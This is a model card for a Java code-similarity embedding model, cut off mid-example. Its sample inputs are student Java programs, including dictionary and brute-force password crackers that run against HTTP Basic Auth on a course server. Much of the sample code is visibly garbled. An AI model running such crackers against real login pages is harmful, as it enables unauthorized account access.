| \n for (int k=65;k<=122;k++) {\n if(k==91) { k=k+6;\ |
| \ }\n passwd[2]=(char) k;\n password=new String(passwd);\n\ |
| \ password=password.trim();\n auth_data=null;\n\ |
| \ auth_data=username + \":\" + password;\n auth_data=auth_data.trim();\n\ |
| \ auth_data=getBasicAuthData(auth_data);\n auth_data=auth_data.trim();\n\ |
| \ conn=url.openConnection();\n conn.setDoInput (true);\n\ |
| \ conn.setDoOutput(true);\n conn.setRequestProperty(\"\ |
| GET\", \"/SEC/2/ HTTP/1.1\");\n conn.setRequestProperty (\"Authorization\"\ |
| , auth_data);\n server_res_code=conn.getHeaderField(0);\n \ |
| \ server_res_code=server_res_code.substring(9,12);\n \ |
| \ server_res_code.trim();\n cntr++;\n System.out.println(cntr\ |
| \ + \" . \" + \"PASSWORD SEND : \" + password + \" SERVER RESPONSE : \" + server_res_code);\n\ |
| \ if( server_res_code.compareTo(required_server_res_code)==0 )\n\ |
| \ {System.out.println(\"PASSWORD IS : \" + password + \" SERVER\ |
| \ RESPONSE : \" + server_res_code );\n i=j=k=123;}\n \ |
| \ }\n\n \ |
| \ }\n\n }\n }\n catch (Exception\ |
| \ e) {\n System.err.print(e);\n }\n }\n\npublic String getBasicAuthData\ |
| \ (String getauthdata) {\n\nchar base64Array [] = {\n 'A', 'B', 'C', 'D',\ |
| \ 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ |
| \ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ |
| \ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r',\ |
| \ 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4',\ |
| \ '5', '6', '7', '8', '9', '+', '/' } ;\n\n String encodedString = \"\";\n\ |
| \ byte bytes [] = getauthdata.getBytes ();\n int i = 0;\n int pad = 0;\n\ |
| \ while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n\ |
| \ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\ |
| \ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ |
| \ if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n\ |
| \ }\n else\n b3 = bytes [i++];\n }\n \ |
| \ byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2\ |
| \ >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte\ |
| \ c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString\ |
| \ += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString\ |
| \ += base64Array [c3];\n encodedString += base64Array [c4];\n \ |
| \ break;\n case 1:\n encodedString += base64Array [c3];\n \ |
| \ encodedString += \"=\";\n break;\n case 2:\n encodedString\ |
| \ += \"==\";\n break;\n }\n }\n return \" \" + encodedString;\n\ |
| \ }\n}" |
| sentences: |
| - "import java.net.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class Dictionary\ |
| \ {\n\n public static void main(String[] args) {\n new CrackAttempt();\n\ |
| \ }\n}\n\nclass CrackAttempt {\n public CrackAttempt() {\n final int\ |
| \ MAX_LENGTH = 3;\n boolean auth = false;\n Date = new Date();\n \ |
| \ String file = \"/usr/share/lib/dict/words\";\n String word;\n char[]\ |
| \ password = new char[MAX_LENGTH];\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ |
| ;\n\n while (!auth) {\n \n BufferedReader in = null;\n \ |
| \ try {\n \n in = new BufferedReader(new FileReader(file));\n\ |
| \ while ((word = in.readLine()) != null && !auth) {\n \ |
| \ try {\n if (word.length() <= MAX_LENGTH) {\n \ |
| \ password = word.toCharArray();\n \n \ |
| \ Authenticator.setDefault(new CrackAuth(password));\n \ |
| \ URL url = new URL(resource);\n HttpURLConnection conn\ |
| \ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\ |
| HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\ |
| \ {\n System.out.println(\"cracked with \" + new String(password));\n\ |
| \ auth = true;\n }\n \ |
| \ }\n } catch (Exception e) {\n System.out.println(\"\ |
| \ was exception: \" + e.getMessage());\n }\n }\n\n \ |
| \ \n } catch (FileNotFoundException fnfe) {\n System.out.println(\"\ |
| File Not Found\");\n } catch (IOException ioe) {\n System.out.println(\"\ |
| IOException\");\n } catch(Exception e) {\n e.printStackTrace();\n\ |
| \ } finally {\n try {\n in.close();\n \ |
| \ } catch (Exception e) {;}\n }\n\n\n }\n if (!auth) {\n\ |
| \ System.out.println(\"Unable determine password\");\n } else {\n\ |
| \ time = (new Date()).getTime() - start.getTime();\n System.out.println(\"\ |
| it took \" + String.valueOf(time) + \" milliseconds crack the password\");\n\ |
| \ }\n }\n}\n\nclass CrackAuth extends Authenticator {\n char[] password;\n\ |
| \ public CrackAuth(char[] password) {\n this.password = password;\n }\n\ |
| \n protected PasswordAuthentication getPasswordAuthentication()\n {\n \ |
| \ String user = \"\";\n return new PasswordAuthentication(user, password);\n\ |
| \ }\n}\n" |
| - "\n\nimport java.io.*;\nimport java.util.*;\nimport java.net.*;\n\n\npublic class\ |
| \ Dictionary {\n\n\tpublic static void main(String[] args) {\n\n\tString attackURL\ |
| \ = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\tString userID = \"\"\ |
| ;\n\tString Password=\"\";\n\tString userPassword=\"\";\n\n\tFile inputFile =\ |
| \ new File(\"/usr/share/lib/dict/words\");\n FileReader fin = null;\n \ |
| \ BufferedReader bf = null;\n\n\ttry {\n\t\t startmillisecond = System.currentTimeMillis();\n\ |
| \t URL url = new URL(attackURL);\n\t fin = new FileReader(inputFile);\n\ |
| \t bf = new BufferedReader(fin);\n\t\tint count = 0;\n\t while ((Password\ |
| \ = bf.readLine()) !=null) {\n\t if (Password.length() < 4) {\n\ |
| \t\t\t\tcount++;\n\t\t\t\ttry {\n\t\t\t\t\tuserPassword = userID + \":\" + Password;\n\ |
| \t\t\t\t\tSystem.out.println(\"User & Password :\" + userPassword);\n\t\t\t\t\ |
| \ String encoding = Base64Converter.encode (userPassword.getBytes());\n\ |
| \t\t\t\t\n\t\t\t\t\tURLConnection uc = url.openConnection();\n\t\t\t\t\tuc.setRequestProperty\ |
| \ (\"Authorization\", \" \" + encoding);\n\t\t\t\t\tInputStream content = (InputStream)uc.getInputStream();\n\ |
| \t\t\t\t\tBufferedReader in = new BufferedReader (new InputStreamReader (content));\n\ |
| \t\t\t\t\tString line;\n\t\t\t\t\twhile ((line = in.readLine()) != null) {\n\t\ |
| \t\t \n\t\t\t\t\tSystem.out.println(line);\n\t\t\t\t }\n\t\t\ |
| \t\t\t endmillisecond = System.currentTimeMillis();\n\t\t\t\t\t searchmillisecond\ |
| \ = endmillisecond - startmillisecond;\n\t\t\t\t\tSystem.out.println(\"Match in\ |
| \ \" + searchmillisecond + \" milliseconds \");\n\t\t\t\t\tSystem.out.println(\"\ |
| Try in \" + count + \" times \");\n\t\t System.exit(1);\n\n\t\t\ |
| \t\t} catch (MalformedURLException e) {\n\t\t\t \t\tSystem.out.println(\"\ |
| Invalid URL\");\n\t\t\t\t} catch (IOException e) {\n\t\t \t\t\tSystem.out.println(\"\ |
| Error URL\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tcatch (Exception ioe) {\n \ |
| \ \tSystem.out.println(ioe.getMessage());\n }\n finally\ |
| \ {\n }\n }\n\n}\n" |
| - "\n\n\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.Date;\n\npublic\ |
| \ class BruteForce {\n private URL url;\n private HttpURLConnection connection;\n\ |
| \ private static String[] lowerCase = {\"a\", \"b\", \"c\", \"d\", \"e\", \"\ |
| f\", \"g\", \"h\", \"i\", \"j\",\n \"k\"\ |
| , \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\",\n \ |
| \ \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"};\n private\ |
| \ static String[] upperCase = {\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\"\ |
| , \"H\", \"I\", \"J\",\n \"K\", \"L\", \"\ |
| M\", \"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\",\n \ |
| \ \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\"};\n private String\ |
| \ userPassword, base64_userPassword;\n private static char wrongPass;\n\n public\ |
| \ BruteForce() {\n wrongPass = 'Y';\n }\n\n public char determinePass(String\ |
| \ inputURL, String userName, String passWord){\n\n try{\n url = new\ |
| \ URL(inputURL);\n connection = (HttpURLConnection)url.openConnection();\n\ |
| \ this.getEncoded(userName, passWord);\n connection.setDoInput(true);\n\ |
| \ connection.setDoOutput(false);\n connection.setRequestProperty(\"\ |
| Authorization\",\n \" \" + base64_userPassword);\n\ |
| \n if (connection.getResponseCode() == 200)\n {\n System.out.println(\"\ |
| Success!! Password is: \" + passWord);\n wrongPass = 'N';\n }\n\ |
| \n return wrongPass;\n }\n catch (MalformedURLException e){System.out.println(\"\ |
| Invalide url\");}\n catch (IOException e){System.out.println(\"Error URL\"\ |
| );\n wrongPass = 'Y';}\n return wrongPass;\n }\n\n\ |
| \ public static void main(String[] args) {\n int i, j, k;\n String brutePass;\n\ |
| \n BruteForce bruteForce1 = new BruteForce();\n\n Date date = new Date(System.currentTimeMillis());\n\ |
| \ System.out.print(\" time is: \");\n System.out.println(date.toString());\n\ |
| \ \n \n \n\n \n for (i = 0; i < 26; i++)\n { for (j = 0; j\ |
| \ < 26; j++)\n { for (k = 0; k < 26; k++)\n {\n brutePass\ |
| \ = lowerCase[i] + lowerCase[j] + lowerCase[k];\n bruteForce1.determinePass(args[0],\ |
| \ args[1], brutePass);\n if (wrongPass == 'N')\n { i = 26;\n\ |
| \ j = 26;\n k = 26;\n }}}}\n\n if (wrongPass\ |
| \ == 'N')\n {\n date.setTime(System.currentTimeMillis());\n System.out.print(\"\ |
| End time is: \");\n System.out.println(date.toString());\n System.exit(0);\n\ |
| \ }\n\n\n \n for (i = 0; i < 26; i++)\n { for (j = 0; j < 26; j++)\n\ |
| \ { for (k = 0; k < 26; k++)\n {\n brutePass = upperCase[i]\ |
| \ + upperCase[j] + upperCase[k];\n bruteForce1.determinePass(args[0],\ |
| \ args[1], brutePass);\n if (wrongPass == 'N')\n { i = 26;\n\ |
| \ j = 26;\n k = 26;\n }}}}\n\n if (wrongPass\ |
| \ == 'N')\n {\n date.setTime(System.currentTimeMillis());\n System.out.print(\"\ |
| End time is: \");\n System.out.println(date.toString());\n System.exit(0);\n\ |
| \ }\n\n \n for (i = 0; i < 26; i++)\n { for (j = 0; j < 26; j++)\n\ |
| \ { for (k = 0; k < 26; k++)\n {\n brutePass = upperCase[i]\ |
| \ + upperCase[j] + lowerCase[k];\n bruteForce1.determinePass(args[0],\ |
| \ args[1], brutePass);\n if (wrongPass == 'N')\n { i = 26;\n\ |
| \ j = 26;\n k = 26;\n }}}}\n\n if (wrongPass\ |
| \ == 'N')\n {\n date.setTime(System.currentTimeMillis());\n System.out.print(\"\ |
| End time is: \");\n System.out.println(date.toString());\n System.exit(0);\n\ |
| \ }\n\n \n for (i = 0; i < 26; i++)\n { for (j = 0; j < 26; j++)\n\ |
| \ { for (k = 0; k < 26; k++)\n {\n brutePass = upperCase[i]\ |
| \ + lowerCase[j] + upperCase[k];\n bruteForce1.determinePass(args[0],\ |
| \ args[1], brutePass);\n if (wrongPass == 'N')\n { i = 26;\n\ |
| \ j = 26;\n k = 26;\n }}}}\n\n if (wrongPass\ |
| \ == 'N')\n {\n date.setTime(System.currentTimeMillis());\n System.out.print(\"\ |
| End time is: \");\n System.out.println(date.toString());\n System.exit(0);\n\ |
| \ }\n\n \n for (i = 0; i < 26; i++)\n { for (j = 0; j < 26; j++)\n\ |
| \ { for (k = 0; k < 26; k++)\n {\n brutePass = upperCase[i]\ |
| \ + lowerCase[j] + lowerCase[k];\n bruteForce1.determinePass(args[0],\ |
| \ args[1], brutePass);\n if (wrongPass == 'N')\n { i = 26;\n\ |
| \ j = 26;\n k = 26;\n }}}}\n\n if (wrongPass\ |
| \ == 'N')\n {\n date.setTime(System.currentTimeMillis());\n System.out.print(\"\ |
| End time is: \");\n System.out.println(date.toString());\n System.exit(0);\n\ |
| \ }\n\n \n for (i = 0; i < 26; i++)\n { for (j = 0; j < 26; j++)\n\ |
| \ { for (k = 0; k < 26; k++)\n {\n brutePass = lowerCase[i]\ |
| \ + upperCase[j] + upperCase[k];\n bruteForce1.determinePass(args[0],\ |
| \ args[1], brutePass);\n if (wrongPass == 'N')\n { i = 26;\n\ |
| \ j = 26;\n k = 26;\n }}}}\n\n if (wrongPass\ |
| \ == 'N')\n {\n date.setTime(System.currentTimeMillis());\n System.out.print(\"\ |
| End time is: \");\n System.out.println(date.toString());\n System.exit(0);\n\ |
| \ }\n\n \n for (i = 0; i < 26; i++)\n { for (j = 0; j < 26; j++)\n\ |
| \ { for (k = 0; k < 26; k++)\n {\n brutePass = lowerCase[i]\ |
| \ + upperCase[j] + lowerCase[k];\n bruteForce1.determinePass(args[0],\ |
| \ args[1], brutePass);\n if (wrongPass == 'N')\n { i = 26;\n\ |
| \ j = 26;\n k = 26;\n }}}}\n\n if (wrongPass\ |
| \ == 'N')\n {\n date.setTime(System.currentTimeMillis());\n System.out.print(\"\ |
| End time is: \");\n System.out.println(date.toString());\n System.exit(0);\n\ |
| \ }\n\n \n for (i = 0; i < 26; i++)\n { for (j = 0; j < 26; j++)\n\ |
| \ { for (k = 0; k < 26; k++)\n {\n brutePass = lowerCase[i]\ |
| \ + lowerCase[j] + upperCase[k];\n bruteForce1.determinePass(args[0],\ |
| \ args[1], brutePass);\n if (wrongPass == 'N')\n { i = 26;\n\ |
| \ j = 26;\n k = 26;\n }}}}\n\n date.setTime(System.currentTimeMillis());\n\ |
| \ System.out.print(\"End time is: \");\n System.out.println(date.toString());\n\ |
| \n }\n\n private void getEncoded(String userName, String password){\n userPassword\ |
| \ = userName + \":\" + password;\n base64_userPassword = new url.misc.BASE64Encoder().encode(userPassword.getBytes());\n\ |
| \ }\n\n}\n" |
| - source_sentence: "\npackage java.httputils;\n\nimport java.io.IOException;\nimport\ |
| \ java.net.HttpURLConnection;\nimport java.net.MalformedURLException;\nimport\ |
| \ java.net.URL;\nimport java.sql.Timestamp;\n\n\npublic class BasicAuthHttpRequest\ |
| \ extends HttpRequestClient\n{\n String userName;\n String password;\n \ |
| \ \n protected BasicAuthHttpRequest(String url, String userName, String password)\n\ |
| \ throws MalformedURLException, IOException\n {\n setPassword(password);\n\ |
| \ setUserName(userName);\n setServerURL(new URL(url));\n \ |
| \ \n setStart(new Timestamp(System.currentTimeMillis()));\n\n String\ |
| \ userPassword = userName + \":\" + password;\n\n \n String encoding\ |
| \ = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n \n\ |
| \n setHttpConnection(\n (HttpURLConnection)this.getServerURL().openConnection());\n\ |
| \n \n getHttpConnection().setRequestProperty (\"Authorization\"\ |
| , \" \" + encoding);\n doRequest();\n }\n\n \n protected BasicAuthHttpRequest(String\ |
| \ url)\n throws MalformedURLException, IOException\n {\n super(url);\n\ |
| \ }\n\n \n public BasicAuthHttpRequest()\n {\n super();\n \ |
| \ }\n\n\n \n public String getPassword()\n {\n return password;\n\ |
| \ }\n\n \n public String getUserName()\n {\n return userName;\n\ |
| \ }\n\n \n public void setPassword(String string)\n {\n password\ |
| \ = string;\n }\n\n \n public void setUserName(String string)\n {\n\ |
| \ userName = string;\n }\n\n public static void main (String[] args)\n\ |
| \ {\n BasicAuthHttpRequest client = null;\n try\n {\n\ |
| \ client = new BasicAuthHttpRequest(args[0], args[1], args[2]);\n \ |
| \ }\n catch (MalformedURLException e)\n {\n e.printStackTrace();\n\ |
| \ }\n catch (IOException e)\n {\n e.printStackTrace();\n\ |
| \ }\n finally\n {\n if (client != null && client.getCode()\ |
| \ != HttpURLConnection.HTTP_UNAUTHORIZED)\n {\n System.out.println(\n\ |
| \ \"Request response : \\n\" + client.getCode());\n\n\n \ |
| \ System.out.println(\n \"Request processing time\ |
| \ (milliseconds): \" +\n (client.getEnd().getTime() - client.getStart().getTime()));\n\ |
| \n System.out.println(\n \"Request content:\ |
| \ \\n\" + client.getContent());\n }\n else\n \ |
| \ {\n System.out.println(\n \"Request response\ |
| \ : \\n\" + client.getCode());\n\n\n }\n }\n }\n}\n" |
| sentences: |
| - "import java.io.*;\nimport java.net.*;\nimport java.security.*;\nimport java.math.*;\n\ |
| import java.*;\nimport java.util.*;\n\n\npublic class WatchDog\n{\n public\ |
| \ static FileWriter out = null, output = null;\n\n public static void main\ |
| \ (String args[]) throws Exception {\n\tSocket socket = null;\n\tDataOutputStream\ |
| \ = null;\n\tBufferedReader bf = null, fr = null;\n\tString retVal = null, StatusCode\ |
| \ = \"HTTP/1.1 200 OK\";\n int dirty = 0, count = 0;\n\n stime = System.currentTimeMillis();\n\ |
| \ System.out.println(\"Detecting the changes...\");\n\n try {\n\n\ |
| \t \n URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\"\ |
| );\n URLConnection yc = yahoo.openConnection();\n\n \n \ |
| \ BufferedReader in = new BufferedReader(\n \ |
| \ new InputStreamReader(\n yc.getInputStream()));\n\ |
| \n String inputLine;\n try {\n out = new\ |
| \ FileWriter(\"newstudent\");\n while ((inputLine = in.readLine())\ |
| \ != null){\n out.write(inputLine + \"\\n\");\n \ |
| \ }\n } catch (IOException ex) {\n ex.printStackTrace();\n\ |
| \ }\n in.print();\n out.print();\n\n \ |
| \ dirty = diff();\n if (dirty == 1){\n sendMail();\n\ |
| \ System.out.println(\"Changes detected and email sent!\");\n \ |
| \ }\n\n if (diffimages() == 1){\n sendMail();\n\ |
| \ System.out.println(\"Images modification detected and email sent!\"\ |
| );\n }\n\n updatePage();\n System.out.println(\"\ |
| ** End of WatchDog checking **\");\n\n } catch (Exception ex) {\n \ |
| \ ex.printStackTrace();\n }\n }\n\n public static\ |
| \ int diff()\n {\n int update = 0;\n\n try{\n Process\ |
| \ process = Runtime.getRuntime().exec(\"diff -b RMITCSStudent newstudent\");\n\ |
| \ BufferedReader pr = new BufferedReader(\n \ |
| \ new InputStreamReader(\n process.getInputStream()));\n\ |
| \n output = new FileWriter(\"output\");\n String inputLine;\n\ |
| \ while ((inputLine = pr.readLine()) != null){\n output.write(inputLine\ |
| \ + \"\\n\");\n update = 1;\n }\n output.promt();\n\ |
| \n }catch (Exception ex){\n ex.printStackTrace();\n }\n\ |
| \ return update;\n }\n\n public static int diffimages()\n {\n \ |
| \ int update = 0;\n String image;\n\n try{\n Process\ |
| \ primages = Runtime.getRuntime().exec(\"./images.sh\");\n wait(1);\n\ |
| \ File imageFile = new File(\"imagesname\");\n BufferedReader\ |
| \ fr = new BufferedReader(new FileReader(imageFile));\n\n output = new\ |
| \ FileWriter(\"output\");\n while ((image = fr.readLine()) != null)\ |
| \ {\n primages = Runtime.getRuntime().exec(\"diff \" + image +\ |
| \ \" o\"+image);\n BufferedReader pr = new BufferedReader(\n \ |
| \ new InputStreamReader(\n \ |
| \ primages.getInputStream()));\n\n String\ |
| \ inputLine;\n while ((inputLine = pr.readLine()) != null){\n\ |
| \ output.write(inputLine + \"\\n\");\n \ |
| \ update = 1;\n }\n }\n output.print();\n\ |
| \ fr.close();\n\n }catch (Exception ex){\n ex.printStackTrace();\n\ |
| \ }\n return update;\n }\n\n public static void sendMail()\n\ |
| \ {\n try{\n Process mailprocess = Runtime.getRuntime().exec(\"\ |
| ./email.sh\");\n }catch (Exception ex){\n ex.printStackTrace();\n\ |
| \ }\n }\n\n public static void updatePage()\n {\n String\ |
| \ image;\n\n try{\n Process updateprocess = Runtime.getRuntime().exec(\"\ |
| cp newstudent RMITCSStudent\");\n Process deleteprocess = Runtime.getRuntime().exec(\"\ |
| rm newstudent\");\n\n File inputFile = new File(\"imagesname\");\n \ |
| \ BufferedReader fr = new BufferedReader(new FileReader(inputFile));\n\ |
| \ while ((image = fr.readLine()) != null) {\n updateprocess\ |
| \ = Runtime.getRuntime().exec(\"cp \" + image + \" o\" + image);\n \ |
| \ deleteprocess = Runtime.getRuntime().exec(\"rm \" + image);\n \ |
| \ }\n fr.close();\n }catch (Exception ex){\n ex.printStackTrace();\n\ |
| \ }\n }\n\n public static void wait(int time){\n\t int timer, times;\n\ |
| \t timer = System.currentTimeMillis();\n\t times = (time * 1000) + timer;\n\ |
| \n\t while(timer < times)\n\t\t\ttimer = System.currentTimeMillis();\n\t}\n}" |
| - "import java.net.*;\nimport java.io.*;\n\n\npublic class EmailClient\n{\n\tprivate\ |
| \ String sender, recipient, hostName;\n\n\tpublic EmailClient(String nSender,\ |
| \ String nRecipient, String nHost)\n\t{\n\t\tsender = nSender;\n\t\trecipient\ |
| \ = nRecipient;\n\t\thostName = nHost;\n\t}\n\n\tpublic void sendMail(String subject,\ |
| \ String message)\n\t{\n\t\ttry\n\t\t{\n\t\t\tSocket s1=null;\n\t\t\tInputStream\t\ |
| is = null;\n\t\t\tOutputStream os = null;\n\n\t\t\tDataOutputStream = null;\n\ |
| \n\t\t\ts1 = new Socket(hostName,25);\n\t\t\tis = s1.getInputStream();\n\t\t\t\ |
| os = s1.getOutputStream();\n\n\t\t\tbd = new DataOutputStream(os);\n\n\t\t\tBufferedReader\ |
| \ response = new BufferedReader(new InputStreamReader(is));\n\n\t\t\tbd.writeBytes(\"\ |
| HELO \"+ InetAddress.getLocalHost().getHostName() + \"\\r\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\ |
| \n\t\t\tbd.writeBytes(\"MAIL FROM:\"+sender+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\ |
| \n\t\t\tbd.writeBytes(\"RCPT :\"+recipient+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\ |
| \n\t\t\tbd.writeBytes(\"data\"+\"\\n\");\n\n\t\t\tbd.writeBytes(\"Subject:\"+subject+\"\ |
| \\n\");\n\n\t\t\tbd.writeBytes(message+\"\\n.\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\ |
| \t\t}\n\n\t\tcatch (UnknownHostException badUrl)\n\t\t{\n\t\t\tSystem.out.println(\"\ |
| Host unknown.\");\n\t\t}\n\n\t\tcatch (EOFException eof)\n\t\t{\n\t\t\tSystem.out.println(\"\ |
| <EOF>\");\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tSystem.out.println(\"\ |
| got exception: \"+e);\n\t\t}\n\t}\n\n\tprivate static void\twaitForSuccessResponse(BufferedReader\ |
| \ response) throws IOException\n\t{\n\t\tString rsp;\n\t\tboolean r250 = false;\n\ |
| \n\t\twhile( ! r250 )\n\t\t{\n\t\t\trsp = response.readLine().trim();\n\n\t\t\t\ |
| if(rsp.startsWith(\"250\"))\n\t\t\t\tr250 = true;\n\t\t}\n\n\t}\n}" |
| - "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\ |
| \npublic class WatchDog {\n public static void main (String[] args) throws IOException\ |
| \ {\n BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n\ |
| \ try{\n twentyfourhours = 86400000;\n Timer timer = new Timer();\n \ |
| \ final Runtime rt = Runtime.getRuntime();\n\n try{\n Process wg1 = rt.exec(\"\ |
| ./.sh\");\n wg1.waitFor();\n }\n catch(InterruptedException e ){\n \ |
| \ System.err.println();\n e.printStackTrace();\n }\n\n class RepeatTask\ |
| \ extends TimerTask{\n public void run(){\n try{\n Process wg2\ |
| \ = rt.exec(\"./task.sh\");\n wg2.waitFor();\n FileReader fr = new\ |
| \ FileReader(\"check.txt\");\n BufferedReader bufr = new BufferedReader(fr);\n\ |
| \ String check = bufr.readLine();\n if(check.equals(\".txt: FAILED\"\ |
| )) {\n Process difftosend = rt.exec(\"./diff.sh\");\n difftosend.waitFor();\n\ |
| \ Process reset = rt.exec(\"./.sh\");\n reset.waitFor();\n \ |
| \ }\n FileReader fr2 = new FileReader(\"imgdiffs.txt\");\n BufferedReader\ |
| \ bufr2 = new BufferedReader(fr2);\n String imdiff = bufr2.readLine();\n\ |
| \ if(imdiff != null){\n Process imdifftosend = rt.exec(\"./img.sh\"\ |
| );\n imdifftosend.waitFor();\n Process reset = rt.exec(\"./.sh\"\ |
| );\n reset.waitFor();\n }\n }\n catch(InterruptedException\ |
| \ e){System.err.println();e.printStackTrace();}\n catch(IOException e){\n\ |
| \ System.err.println(e);\n e.printStackTrace();\n }\n }}\n\ |
| \n timer.scheduleAtFixedRate(new RepeatTask(),twentyfourhours,twentyfourhours);\n\ |
| \ \n }\n catch(IOException e){\n System.err.println(e);\n e.printStackTrace();\n\ |
| \ }\n \n}}\n" |
| pipeline_tag: sentence-similarity |
| library_name: sentence-transformers |
| --- |
| |
| # SentenceTransformer based on huggingface/CodeBERTa-small-v1 |
|
|
| This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. |
|
|
| ## Model Details |
|
|
| ### Model Description |
| - **Model Type:** Sentence Transformer |
| - **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 --> |
| - **Maximum Sequence Length:** 512 tokens |
| - **Output Dimensionality:** 768 dimensions |
| - **Similarity Function:** Cosine Similarity |
| <!-- - **Training Dataset:** Unknown --> |
| <!-- - **Language:** Unknown --> |
| <!-- - **License:** Unknown --> |
|
|
| ### Model Sources |
|
|
| - **Documentation:** [Sentence Transformers Documentation](https://sbert.net) |
| - **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) |
| - **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) |
|
|
| ### Full Model Architecture |
|
|
| ``` |
| SentenceTransformer( |
| (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel |
| (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) |
| ) |
| ``` |
|
|
| ## Usage |
|
|
| ### Direct Usage (Sentence Transformers) |
|
|
| First install the Sentence Transformers library: |
|
|
| ```bash |
| pip install -U sentence-transformers |
| ``` |
|
|
| Then you can load this model and run inference. |
| ```python |
| from sentence_transformers import SentenceTransformer |
| |
| # Download from the 🤗 Hub |
| model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-ST-1") |
| # Run inference |
| sentences = [ |
| '\npackage java.httputils;\n\nimport java.io.IOException;\nimport java.net.HttpURLConnection;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.sql.Timestamp;\n\n\npublic class BasicAuthHttpRequest extends HttpRequestClient\n{\n String userName;\n String password;\n \n protected BasicAuthHttpRequest(String url, String userName, String password)\n throws MalformedURLException, IOException\n {\n setPassword(password);\n setUserName(userName);\n setServerURL(new URL(url));\n \n setStart(new Timestamp(System.currentTimeMillis()));\n\n String userPassword = userName + ":" + password;\n\n \n String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n \n\n setHttpConnection(\n (HttpURLConnection)this.getServerURL().openConnection());\n\n \n getHttpConnection().setRequestProperty ("Authorization", " " + encoding);\n doRequest();\n }\n\n \n protected BasicAuthHttpRequest(String url)\n throws MalformedURLException, IOException\n {\n super(url);\n }\n\n \n public BasicAuthHttpRequest()\n {\n super();\n }\n\n\n \n public String getPassword()\n {\n return password;\n }\n\n \n public String getUserName()\n {\n return userName;\n }\n\n \n public void setPassword(String string)\n {\n password = string;\n }\n\n \n public void setUserName(String string)\n {\n userName = string;\n }\n\n public static void main (String[] args)\n {\n BasicAuthHttpRequest client = null;\n try\n {\n client = new BasicAuthHttpRequest(args[0], args[1], args[2]);\n }\n catch (MalformedURLException e)\n {\n e.printStackTrace();\n }\n catch (IOException e)\n {\n e.printStackTrace();\n }\n finally\n {\n if (client != null && client.getCode() != HttpURLConnection.HTTP_UNAUTHORIZED)\n {\n System.out.println(\n "Request response : \\n" + client.getCode());\n\n\n System.out.println(\n "Request processing time (milliseconds): " +\n (client.getEnd().getTime() - client.getStart().getTime()));\n\n System.out.println(\n "Request content: \\n" + client.getContent());\n }\n else\n {\n System.out.println(\n "Request response : \\n" + client.getCode());\n\n\n }\n }\n }\n}\n', |
| 'import java.io.*;\nimport java.net.*;\nimport java.security.*;\nimport java.math.*;\nimport java.*;\nimport java.util.*;\n\n\npublic class WatchDog\n{\n public static FileWriter out = null, output = null;\n\n public static void main (String args[]) throws Exception {\n\tSocket socket = null;\n\tDataOutputStream = null;\n\tBufferedReader bf = null, fr = null;\n\tString retVal = null, StatusCode = "HTTP/1.1 200 OK";\n int dirty = 0, count = 0;\n\n stime = System.currentTimeMillis();\n System.out.println("Detecting the changes...");\n\n try {\n\n\t \n URL yahoo = new URL("http://www.cs.rmit.edu./students/");\n URLConnection yc = yahoo.openConnection();\n\n \n BufferedReader in = new BufferedReader(\n new InputStreamReader(\n yc.getInputStream()));\n\n String inputLine;\n try {\n out = new FileWriter("newstudent");\n while ((inputLine = in.readLine()) != null){\n out.write(inputLine + "\\n");\n }\n } catch (IOException ex) {\n 